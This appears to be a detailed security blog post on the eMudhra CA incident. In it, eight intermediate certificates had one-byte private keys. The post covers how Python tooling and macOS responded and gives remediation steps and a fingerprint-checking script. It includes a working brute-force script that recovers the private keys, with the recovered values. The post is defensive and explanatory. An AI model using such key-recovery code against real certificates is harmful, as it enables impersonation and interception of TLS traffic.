Eight CA keys that fit in one byte: the eMudhra incident and what it exposed in the Python ecosystem

On October 17, 2026, at 18:05 UTC, a researcher signing as Wayne sent an email to Apple, Chrome, Microsoft, Mozilla and eMudhra. He said he had recovered the private key of eight intermediate certificates of the emSign CA, and attached proof: a message signed with each of them. By 21:48 UTC Mozilla had recovered the same keys on its own, without anyone telling it how. The eight private keys, which according to eMudhra were generated in an HSM with FIPS 140-2 level 3 certification, were integers smaller than 256.

I recovered them too. The script takes 0.2 seconds per certificate and fits in twenty lines. I show it below.

What came after is what I want to cover here, because it affects anyone who runs Python: certifi published three releases in five days, each with a different set of emSign roots; pip, uv and CPython shipped emergency releases; and as of October 30, on my Mac running macOS 26.7.1, the curl, git and python3 that Apple ships still accept certificates signed with those keys. I checked every claim in this article against the primary source, and where I couldn’t, I say so.

What I verified and what I didn’t

Everything here comes from these sources, read between October 29 and November 1, 2026:

• Bugzilla bug 2083449, Mozilla’s incident report, with more than 70 comments as of November 1, including eMudhra’s replies. Also bugs 2083709 (removal of the NSS C1 and C3 roots) and 2018979 (the February transition plan for dual-use roots).
• The page emudhra.we-have-a-problem.com, published by Dennis Jackson (Mozilla) with community contributions. From it I downloaded proof.zip, chains.zip, impacted-intermediates.json and roots.json, and verified them with OpenSSL 3.6.5 and cryptography 48.0.0. I treated them as data, not code: nothing inside was executed.
• The certifi 2026.7.22, 2026.10.18, 2026.10.19 and 2026.10.23 wheels downloaded from PyPI, with their upload dates, and the cacert.pem extracted from each one.
• Advisory GHSA-6q48-6c7w-9gw2, issue #439 and certifi PRs #437 and #440, read through the GitHub API.
• Thread 109576 on discuss.python.org, opened by Seth Larson on October 20, and CPython issue 160040 with the patch that blocks the keys.
• Apple support document HT 149555.

What I couldn’t verify is attributed to whoever says it: the exact root cause of the key generation failure (eMudhra is still answering questions in the bug), whether anyone exploited the keys during the 18 months they were live, and the claim that macOS 27.2 undid the manual fixes (I don’t have that version).

The pieces

Eight intermediate certificates, issued on April 30, 2025 in the same key ceremony. Six are for TLS (DV, OV and EV, in two series: B for eMudhra BV in the Netherlands and C for eMudhra Inc in the United States) and two for code signing. All use EC P-384 keys.

Each of the eight exists twice: one certificate issued by an eMudhra root and another, with the same public key, issued by Sectigo under AAA Certificate Services. Sixteen certificates, eight keys.

The full hashes are in impacted-intermediates.json on the incident page and in comment 0 of the Mozilla bug; they match.

And the roots, which is where everything that follows gets decided:

Look at the first row. The root that issued the compromised intermediates, emSign Root TLS CA - G3, is not in Mozilla’s program or in certifi. It reaches your bundle because emSign ECC Root CA - G3 (fingerprint 86A1ECBA…6BBE6B), which is there, signed a cross-certificate for it. That cross-signature is the only door through which a certificate issued by EM DV TLS CA - G3B validates against certifi. That is why certifi removes ECC G3 and keeps G1: G1 is an RSA root distinct from this hierarchy. Distinct is not the same as unrelated: the RSA intermediates G2B and G2C were generated the same day, April 30, 2025, on the same HSM model, and Sectigo cross-signed them on May 14 (comments 58 and 66, unanswered). eMudhra says they followed a “different path” and are not affected (comment 11), but it hasn’t documented it.

The Sectigo path (AAA Certificate Services) doesn’t affect certifi because Mozilla removed that root a long time ago and certifi follows Mozilla. It does affect the stores that kept it: Microsoft’s, Apple’s and macOS’s /etc/ssl/cert.pem. I checked mine: it’s there.

The flaw: a one-byte private key

An ECDSA private key on P-384 is an integer d chosen at random between 1 and the group order, a 384-bit number. The public key is d·G, the generator point added to itself d times. Security rests on the fact that, given d·G, nobody can recover d. If d is smaller than 256, anyone can: you try the 255 values.

Dennis Jackson describes it in comment 5 of the bug: “The 8 impacted keys all used integers less than 256. That is, the private keys are effectively all-zeroes apart from the last byte.” I reproduced it with the public keys of the eight certificates in proof.zip:

import sys, time
from cryptography import x509
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.hazmat.primitives import serialization

curve = ec.SECP384R1()
for path in sys.argv[1:]:
    cert = x509.load_pem_x509_certificate(open(path, "rb").read())
    pub = cert.public_key().public_bytes(
        serialization.Encoding.DER,
        serialization.PublicFormat.SubjectPublicKeyInfo)
    t = time.time()
    for d in range(1, 2**16):
        k = ec.derive_private_key(d, curve)
        if k.public_key().public_bytes(
                serialization.Encoding.DER,
                serialization.PublicFormat.SubjectPublicKeyInfo) == pub:
            break
    cn = cert.subject.get_attributes_for_oid(x509.NameOID.COMMON_NAME)[0].value
    print(f"{cn:22s} d = {d}  ({time.time()-t:.2f}s)")

EM DV TLS CA - G3B     d = 156  (0.18s)
EM DV TLS CA - G3C     d = 230  (0.27s)
EM EV TLS CA - G3B     d = 115  (0.13s)
EM EV TLS CA - G3C     d = 56   (0.06s)
EM OV CS CA - G3B      d = 66   (0.08s)
EM OV CS CA - G3C      d = 237  (0.27s)
EM OV TLS CA - G3B     d = 155  (0.18s)
EM OV TLS CA - G3C     d = 4    (0.00s)

The d = 4 of the OV G3C intermediate is the one Christian Heimes cites in the Python thread (“An elliptic key with private key value d=4 is not secure”). I’m publishing all eight values because the certificates have been revoked since October 18, the keys can be recovered in under a second with the script above, and several people had already published them before me. Hiding them wouldn’t protect anyone.

I also verified Wayne’s original proof. The message in proof.zip reads “We have a problem here - Wayne”, and each intermediate’s signature validates against the public key of its certificate:

openssl pkeyutl -verify -certin -inkey EM-DV-TLS-CA-G3B.crt.pem \
  -rawin -digest sha384 -in message.txt -sigfile EM-DV-TLS-CA-G3B.sig
# Signature Verified Successfully

What eMudhra says about the cause

I can’t verify this part; it’s the CA’s account, in comments 10 and 11 of the bug. The keys were generated in Utimaco HSMs (the company’s other intermediates, on Entrust and Crypto4A, don’t have the problem). That day a deviation from the usual procedure was approved to test key wrapping and unwrapping, because these keys were going to be exported to the data centers in the United States and Europe. According to eMudhra, “a flaw in the code” of the ceremony script created a second, weaker set of keys, and because their labels were similar, those keys, and not the original ones, were used to generate the CSRs that the root signed and that were sent to Sectigo for the cross-signature.

That explains something odd from 2025: bug 1970728, in which the CRLs of these same six TLS intermediates had invalid signatures. They had been signed with the original keys, which didn’t match the certificates, and were re-signed with the weak ones. Nobody asked at the time why there were two sets of keys.

What remains open in the bug as of October 30: what exactly the script did, whether the HSM was in FIPS mode, whether the RSA intermediates (the G2B and G2C series) generated the same day on the same HSM model went through the same step, and why the WebTrust auditor didn’t catch it. Several people are asking for the script and the ceremony logs. I claim nothing beyond what eMudhra has written.

What isn’t known

Whether anyone used these keys before they were revealed. The intermediates have existed since April 2025; the incident page says there are no Certificate Transparency log entries for them in that period, which suggests that clients that require CT (Firefox, Chrome, Edge, Safari) were not attacked in that time. Clients that don’t require CT, which is almost every client that isn’t a browser, including Python’s ssl, leave no trace. eMudhra says only EM DV TLS CA - G3C ever reached production and that it issued no end-entity certificates. There is no public way to confirm or rule out exploitation before October 17, and anyone who tells you otherwise is guessing.

After the disclosure there is data. According to comment 44 of the bug (October 25), between 09:40 UTC on October 20 and 22:02 on October 21, 107,107 certificates signed with six of the eight keys were logged to CT logs, and every signature verifies. 106,050 are proofs of concept with google.com as their only SAN; another, emsign.filippo.io, embeds SCTs from logs Chrome lists as usable. Almost none point to eMudhra CRLs or OCSP, so a client that checks revocation only for the leaf has nothing to check. The exposure is therefore not limited to software that never checks revocation: only clients that check the whole chain, receive a pushed blocklist or have dropped the root reject these certificates.

Timeline

All times UTC. PyPI times come from the upload_time field in the index JSON.

The four certifi versions

This is where I’ve seen the most misinformation, so I looked at it wheel by wheel:

Two caveats that matter:

The GHSA advisory marks >= 2019.03.09, < 2026.10.18 as vulnerable and 2026.10.18 as patched. Only that version table leaves 10.18 as the patched one; the advisory’s text (updated October 26) says 2026.10.19 restored the unaffected emSign roots and recommends upgrading to 10.19 or later. It doesn’t mention 10.23. All three reject the chain, so it is technically correct, but incomplete in practice: 10.18 breaks any connection to a service under emSign Root CA - G1, which is where eMudhra is migrating its customers, and 10.19 ships two roots that Mozilla has already removed. The one that matches Mozilla’s current state is 2026.10.23. If your dependency scanner tells you 10.18 is fine, it is telling you half the truth.

I’ve read in several places that “2026.10.19 restored G1 and G3”. That is false. It restored G1, C1 and C3. ECC G3 has not come back and is not going to, and it is precisely the root the InCommon certificates hang from (see the conclusion).

Why certifi could only remove the root

This is the question issue #439 asks, and Gaynor’s answer is direct: “there’s no facility for revoking an intermediate only. Given the alternate of exposing every user of certifi to MITM attacks, there was no better choice.”

certifi is a file. A cacert.pem with 118 root certificates and a where() function that returns its path. It has no blocklist, no revocation, and knows nothing about intermediates. When OpenSSL validates a chain with that file as the anchor, the only thing certifi can do is decide which anchors exist. If a legitimate root has signed an intermediate with a broken key, the only lever is removing the root, and with it everything that hangs from it through no fault of its own.

Firefox has OneCRL, a list of revoked intermediates pushed to clients without updating the browser; the eMudhra keys were in it five hours after the report. Chrome has CRLSets and blocked the six TLS intermediates by SPKI that same night. Apple pushes “certificate configuration data” to its devices without a system update. Python has nothing like that. It doesn’t check CRL or OCSP by default either, and it doesn’t require Certificate Transparency. For the three days between the report and the first pip release with the fix, every requests.get() in the world accepted a certificate issued with d = 4.

The underlying problem isn’t certifi. A static root bundle is being used as if it were a complete root program. Root programs (Mozilla, Chrome, Apple, Microsoft) are roots plus revocation plus policy plus telemetry. certifi is just the first leg, frozen at the release date, copied into pip, into requests, into every Docker image and every venv. Heimes adds a data point in the CPython issue: in his scans he found packages with recent releases that carry a CA bundle from around 2015/2016, one that lacks ISRG Root X1, the Let’s Encrypt root. Those bundles aren’t going to drop ECC G3 either.

Reproducing it

chains.zip has the full chain served by each test host, in PEM with the leaf first. Offline verification against each certifi bundle is one line:

for v in 2026.7.22 2026.10.18 2026.10.19 2026.10.23; do
  printf "%-12s " $v
  openssl verify -CAfile certifi-$v.pem \
    -untrusted dv-g3b-emudhra.we-have-a-problem.com.pem \
    dv-g3b-emudhra.we-have-a-problem.com.pem 2>&1 | tail -1
done
# 2026.7.22    dv-g3b-emudhra.we-have-a-problem.com.pem: OK
# 2026.10.18   error ... verification failed
# 2026.10.19   error ... verification failed
# 2026.10.23   error ... verification failed

I ran the four interesting chains through the four bundles: the direct one, the Sectigo one (-aaa-), the one not in CT (-noct-) and the rollover (a key-change certificate self-issued by the compromised intermediate, which some issuer-based blocks miss; the explanation is in the README.txt of chains.zip and points to section 6.1.4 (l) of RFC 5280). Result: with 2026.7.22 the three that go through ECC G3 pass, including the rollover; the Sectigo one fails because certifi has no AAA. With any of the three October versions all four fail.

The same thing live, using Python’s ssl module against the host that serves a leaf not logged in CT:

import ssl, socket, sys
host = "dv-g3b-noct-emudhra.we-have-a-problem.com"
for cafile in sys.argv[1:]:
    ctx = ssl.create_default_context(cafile=cafile)
    try:
        with socket.create_connection((host, 443), timeout=20) as s, \
             ctx.wrap_socket(s, server_hostname=host) as t:
            print(f"{cafile:18s} -> handshake OK, {t.version()}")
    except ssl.SSLCertVerificationError as e:
        print(f"{cafile:18s} -> rejected: {e.verify_message}")

2026.7.22.pem      -> handshake OK, TLSv1.3
2026.10.18.pem     -> rejected: unable to get local issuer certificate
2026.10.19.pem     -> rejected: unable to get local issuer certificate
2026.10.23.pem     -> rejected: unable to get local issuer certificate

That “handshake OK” came from my python.org Python 3.10.11, which no longer receives patches. I’ll come back to it.

The Python ecosystem, piece by piece

pip. It ships its own copy of certifi in pip/_vendor/certifi/ and always loads it. Since 24.2 it also uses truststore to query the system store, but only on Python 3.10 or later (Apple’s 3.9 python3 uses certifi alone) and in additive mode: certifi plus system, and there is no supported way to remove certifi. Heimes puts it bluntly in the thread: “any pip < 26.2.2 will keep trusting the compromised intermediate CAs regardless of the system trust store, so distrusting them at the OS level is not enough.” And: “Updating pip is the only reliable fix.” REQUESTS_CA_BUNDLE, PIP_CERT and --cert add anchors, they don’t remove them. 26.2.2 (October 20) does only one thing: bumps certifi to 2026.10.19. There is an open issue to move to truststore alone.

uv. It doesn’t use certifi; it carries Mozilla’s roots in webpki-root-certs. 0.13.4 bumped to webpki-root-certs 1.0.10, which removes ECC G3, and published its own advisory (GHSA-hq85-5cpj-mr62). 0.13.5 went further: rustls-webpki 0.103.16 rejects any chain containing one of the compromised keys, whether or not the root is present. On October 21 it also updated its managed CPython builds to the ones that ship pip 26.2.2. The 3.11.18 and 3.12.16 builds with the SPKI block arrive in 0.13.6 (October 26). To bootstrap safely from an old uv, William Woodruff suggests UV_SYSTEM_CERTS=true uv self update, which verifies against the system store instead of the embedded one. It works if your system is up to date; on macOS and Windows it was.

requests. It uses certifi.where() as the default bundle. Your requests version doesn’t matter; your certifi version does. With REQUESTS_CA_BUNDLE pointing to another file, it uses that one and only that one.

urllib3. It’s the exception: since 2.0 it doesn’t depend on certifi. If you don’t pass ca_certs, it calls the SSL context’s load_default_certs(), which loads the system store (I checked in util/ssl_.py). A bare urllib3 on a Linux box with up-to-date ca-certificates was protected before requests on the same machine.

CPython. Two separate moves. On October 21, 3.15.1, 3.14.9 and 3.13.17 shipped with pip 26.2.2 and certifi 2026.10.19 in the macOS installer and in ensurepip. Not for 3.11 and 3.12: Thomas Wouters explained that they don’t update pip in security-only releases because pip has no maintenance branches and a new pip can break installations. So 3.11 stays on pip 24.0 and 3.12 on 25.0.1 in ensurepip; every python -m venv you create is born vulnerable until you upgrade the pip inside it.

The second move is the good one. Heimes’s issue 160040 proposes what Go had done two days earlier for the same CA (golang/go#82345): a public-key blocklist inside the ssl module itself. The patch adds a verification callback in Modules/_ssl.c that, for each certificate in the chain, computes the SHA-256 of its DER-encoded SubjectPublicKeyInfo and compares it with an eight-entry table in Modules/_ssl/distrusted_spki.h. On a match, X509_V_ERR_CERT_REJECTED. It compares the key, not the certificate, so it also covers Sectigo’s cross-signatures and the rollovers, and it applies to every SSLContext with verification enabled without the application doing anything. It is in 3.15.2, 3.14.10, 3.13.18, 3.12.16 and 3.11.18, released on October 26, as CVE-2026-115557. The header comment in the file calls it “an extraordinary measure and last line of defense”.

With one of those Pythons, the script above would have said “rejected” even with certifi 2026.7.22. That is defense in depth: a bundle forgotten in a year-old image no longer lets anyone slip one past you.

Docker images. python:3.15-slim-trixie carried pip 26.2.1 on October 21, and the 3.11 and 3.12 images will stay on an old pip unless whoever builds on top upgrades it. Images that already ship CPython 3.11.18 or 3.12.16 do carry the SPKI block in ssl; what stays old is their pip. Debian is a separate case: it patches its python3-pip to use the system store, so its October 20 ca-certificates fixed it along the way.

macOS, the odd case

Apple says it in its own support document, more clearly than usual: since October 19 it blocks all twelve certificates in Safari, Mail and any app that uses its network frameworks, and since the 23rd the ECC G3 root too. That arrives as configuration data, without a system update. But “some tools included with macOS or the Xcode Command Line Tools — like curl and git — check certificates against /etc/ssl/cert.pem and can still accept these certificates until a future software update”.

I checked on my machine, macOS 26.7.1, on October 30:

$ openssl crl2pkcs7 -nocrl -certfile /etc/ssl/cert.pem \
    | openssl pkcs7 -print_certs -noout \
    | grep -E 'emSign|AAA Certificate Services'
subject=... CN=AAA Certificate Services
subject=... CN=emSign ECC Root CA - C3
subject=... CN=emSign Root CA - C1
subject=... CN=emSign ECC Root CA - G3
subject=... CN=emSign Root CA - G1

$ /usr/bin/curl -sS -o /dev/null -w '%{http_code}\n' \
    https://dv-g3b-noct-emudhra.we-have-a-problem.com/
200
$ /usr/bin/curl -sS -o /dev/null -w '%{http_code}\n' \
    https://dv-g3b-aaa-noct-emudhra.we-have-a-problem.com/
200

$ /usr/bin/python3 -c 'import urllib.request as u; \
    print(u.urlopen("https://dv-g3b-noct-emudhra.we-have-a-problem.com/").status)'
200

$ /usr/bin/git ls-remote https://git-emudhra.we-have-a-problem.com/check.git
2975b9930644b321e18ecae09e29c15b955e6103	HEAD

Both paths, eMudhra’s and Sectigo’s, open. Apple’s python3 is a 3.9.6 linked against LibreSSL 2.8.3 that reads /etc/ssl/cert.pem; git is a 2.54.0 that uses libcurl with SecureTransport but verifies against the same file. An attacker on the network between you and GitHub can serve you a different repository, and the incident page has a demo of that: a git clone that resolves github.com to their test server and returns a README that starts with “INTERCEPTED”. I haven’t run it; I don’t need to after seeing the ls-remote.

The manual fix they propose (and which Apple lists under “optional steps”) is to remove emSign ECC Root CA - G3 from /etc/ssl/cert.pem with an awk, and if you also want to close the Sectigo path, remove AAA Certificate Services, at the risk of breaking legitimate sites that still hang from it. Apple warns that an update may restore the file to its original state. The incident page claims macOS 27.2 did that on October 26; I don’t have 27.2 and can’t confirm it.

There is a second front on macOS that isn’t Apple’s: the python.org installer. It ships certifi inside, plus an Install Certificates.command that installs it in the framework’s site-packages. My 3.10.11 had certifi 2026.04.22 and pip 23.0.1 with certifi 2022.12.07 vendored. That Python is not going to receive the SPKI block because it went out of support a year ago. The only way out there is to update certifi and pip by hand, or stop using it.

Auditing which bundle your process uses

There is no single answer. On the same machine you have the system store, the interpreter’s certifi, each venv’s certifi, each pip’s, and the ones that come with tools carrying their own runtime (uv, conda, pixi, Electron). These are the questions I ask, in order:

# Which certifi this interpreter sees and where it comes from
python -c 'import certifi; print(certifi.__version__, certifi.where())'

# What the ssl module would use without certifi (cafile=None on macOS = nothing,
# unless something calls load_default_certs)
python -c 'import ssl; print(ssl.get_default_verify_paths())'

# Which certifi pip carries INSIDE, which is not the one above
python -m pip debug 2>/dev/null | grep -i certifi

# What requests uses
python -c 'import requests; print(requests.certs.where())'

# Variables that divert the bundle without you seeing it in the code
env | grep -E 'SSL_CERT_FILE|SSL_CERT_DIR|REQUESTS_CA_BUNDLE|CURL_CA_BUNDLE|PIP_CERT|UV_SYSTEM_CERTS'

And the check that doesn’t lie: the fingerprint of the roots inside the file, whatever its declared version. This script fails if the bundle contains the ECC G3 root, the one behind the compromised intermediates, and warns (without failing) if it contains C1 or C3, which are not affected but which Mozilla retired afterwards; it needs only the standard library and works for CI. It checks a certifi or Mozilla bundle, not system stores: it doesn’t detect the Sectigo route (AAA Certificate Services), which certifi doesn’t carry but macOS does:

#!/usr/bin/env python3
"""Fail if a CA bundle contains the root with the compromised intermediates; warn on roots Mozilla retired later."""
import hashlib, re, ssl, sys

# Root whose intermediates have compromised keys: the bundle is exploitable.
AFFECTED = {
    "86A1ECBA089C4A8D3BBE2734C612BA341D813E043CF9E8A862CD5C57A36BBE6B": "emSign ECC Root CA - G3",
}
# Not affected by the incident (certifi 2026.10.19 restored them), but retired by Mozilla in NSS 3.131.1.
RETIRED = {
    "125609AA301DA0A249B97A8239CB6A34216F44DCAC9F3954B14292F2E8C8608F": "emSign Root CA - C1",
    "BC4D809B15189D78DB3E1D8CF4F9726A795DA1643CA5F1358E1DDB0EDC0D7EB3": "emSign ECC Root CA - C3",
}
PEM = re.compile(r"-----BEGIN CERTIFICATE-----.*?-----END CERTIFICATE-----", re.S)

def main(paths):
    bad = 0
    for path in paths:
        for block in PEM.findall(open(path, encoding="ascii", errors="ignore").read()):
            fp = hashlib.sha256(ssl.PEM_cert_to_DER_cert(block)).hexdigest().upper()
            if fp in AFFECTED:
                print(f"FAIL {path}: contains {AFFECTED[fp]} ({fp[:16]}...)")
                bad += 1
            elif fp in RETIRED:
                print(f"WARN {path}: contains {RETIRED[fp]}, retired by Mozilla but not affected ({fp[:16]}...)")
    return 1 if bad else 0

if __name__ == "__main__":
    sys.exit(main(sys.argv[1:] or [__import__("certifi").where()]))

With no arguments it checks the certifi of the interpreter running it. In CI I also run it against pip’s:

python check_bundle.py \
  "$(python -c 'import certifi; print(certifi.where())')" \
  "$(python -c 'import pip._vendor.certifi as c; print(c.where())')"

Against the four wheels it gives what you’d expect: 2026.7.22 fails (ECC G3) and warns about C1 and C3, 2026.10.18 and 2026.10.23 pass clean, and 2026.10.19 passes with two warnings (C1 and C3). The same goes for pip’s bundle: pip 26.2.2’s (certifi 2026.10.19) passes with the two warnings and pip 26.2.1’s fails. The fingerprints come from bug 2083709 and roots.json, and I recomputed them myself from the 2026.7.22 PEM. When Mozilla retires another root, you add a line to the relevant list.

What to change

The urgent items, in order of damage:

1. pip 26.2.2 or later in every environment, not just the system one. 26.2.2 requires Python 3.10 or later (its Requires-Python metadata): on 3.9 or earlier, like Apple’s python3, it can’t be installed; there the fix is changing interpreter, and uv’s release notes warn that 3.9 and 3.10 still ship pip and bundles that trust the root. A venv has its own pip with its own certifi. Ricardo Newbery’s script in the thread finds the pyvenv.cfg files in your home directory and upgrades pip in each one from a hash-verified wheel. To avoid depending on a vulnerable pip to download the new pip, install it from a direct URL with its sha256, which is what Larson recommends in message 5 of the thread.
2. certifi 2026.10.23 or later, and in the lockfile. If you’re on 10.18 you’re not in bad shape, but you’ll run into breakage with G1; if you’re on 10.19 you’re carrying two roots that no longer exist in Mozilla.
3. Rebuild container images without layer cache. The pip install from three weeks ago left a certifi from three weeks ago, and a FROM python:3.12 pulled on October 30 ships a pip that hasn’t been updated (its ssl does block the keys if the image carries 3.12.16 or later).
4. CPython 3.15.2, 3.14.10, 3.13.18, 3.12.16 or 3.11.18. It’s the only piece that protects you even if you’ve left an old bundle somewhere.
5. uv 0.13.6 or later (the one Larson asks for): 0.13.5 already blocks by key, not by root, but the managed CPython 3.11 and 3.12 builds with the block arrive in 0.13.6.
6. On macOS, if you use the system git or curl for anything that matters, apply the /etc/ssl/cert.pem fix and check it again after every update. If your CI runners are Macs, this goes first.

The structural items, so it hurts less next time:

Let the operating system verify. truststore uses the native verification API (Security.framework on macOS, CryptoAPI on Windows, OpenSSL with the system store on Linux), which brings revocation and the vendor’s blocklists. In your code, before importing anything that opens connections:

import truststore
truststore.inject_into_ssl()
import requests  # from here on it uses the system store

With pip it has been on since 24.2, but remember the caveat: additive. In uv, UV_SYSTEM_CERTS=true or --native-tls. The tradeoff is that you inherit whatever your system gets wrong; in a Linux container that is the distribution’s ca-certificates, which was generally updated on October 20.

If you have to ship a bundle, treat it as a security dependency. Pin it, run Dependabot without a cooldown for certifi (Henry Schreiner warns in the thread that cooldowns leave you vulnerable exactly when you don’t want to be), and put the fingerprint check above in the pipeline.

Assume there is no revocation. Python’s ssl doesn’t query the CRLs of RFC 5280 or the OCSP of RFC 6960 unless you configure it, and almost nobody does. The CA/Browser Forum Baseline Requirements require the CA to revoke a compromised intermediate within seven days (section 4.9.1.2); eMudhra took about fifteen hours from Wayne’s email (18:05 on the 17th to 09:24 on the 18th), about twelve from its own acknowledgement at 21:29. For clients that don’t check CRLs it made no difference, and browsers didn’t wait to read it: they use pushed lists. Also, crl.emsign.com returned 403 to curl’s default User-Agent, and ocsp.emsign.com, ocsp-b.emsign.com and repository.emsign.com also refused Wget’s and Python-urllib’s, according to comment 44. If a service really matters to you, pin its public key or its issuer and take on the burden of rotating it.

Don’t count on PEP 543. It was the proposal for a TLS API in Python independent of OpenSSL, with native verifiers, and it was withdrawn. truststore is what remains of that idea, as a third-party library that patches ssl.SSLContext.

Conclusion

The cryptography wasn’t broken and nobody needed a sophisticated attack. According to eMudhra, a flaw in a ceremony script generated a second set of keys with one byte of entropy, alike labels made the wrong set get used, and an HSM that eMudhra says was FIPS 140-2 level 3 certified didn’t refuse to sign with d = 4 (how that is possible is still unexplained: comments 31 to 33 and 38). And an auditor signed the annual report. Eighteen months later, anyone with the public certificate could be EM DV TLS CA - G3B in 0.18 seconds. Before the disclosure we don’t know whether anyone was; after it, we do: more than a hundred thousand certificates signed with those keys were logged, almost all of them proofs of concept.

The browser ecosystem closed it within hours because it already had blocklists of intermediates that arrive without updating anything. The Python ecosystem took three days for the first useful release and nine for the one that really protects you even if you forgot a bundle, and it did so with a measure CPython itself calls extraordinary: a list of eight hashes inside the interpreter. certifi did the only thing a PEM file can do, which is remove entire roots. 10.19 brought back the three unaffected ones, but ECC G3 is not coming back, and according to Chrome (comment 30) 99.9% of the ~30,800 live certificates under it belong to InCommon/Internet2: those universities stay broken until they migrate to G1, which is where eMudhra is moving them while announcing its exit from the global TLS business (comments 37 and 61).

The bundle that verifies your TLS connections is a frozen copy of a Mozilla decision, copied into every tool, and nobody tells you when it expires. Look at which one each process uses, run the fingerprint check on it, and wherever you can, let the operating system do the verifying. And if you work on a Mac, today, before your next git pull, check what /etc/ssl/cert.pem says.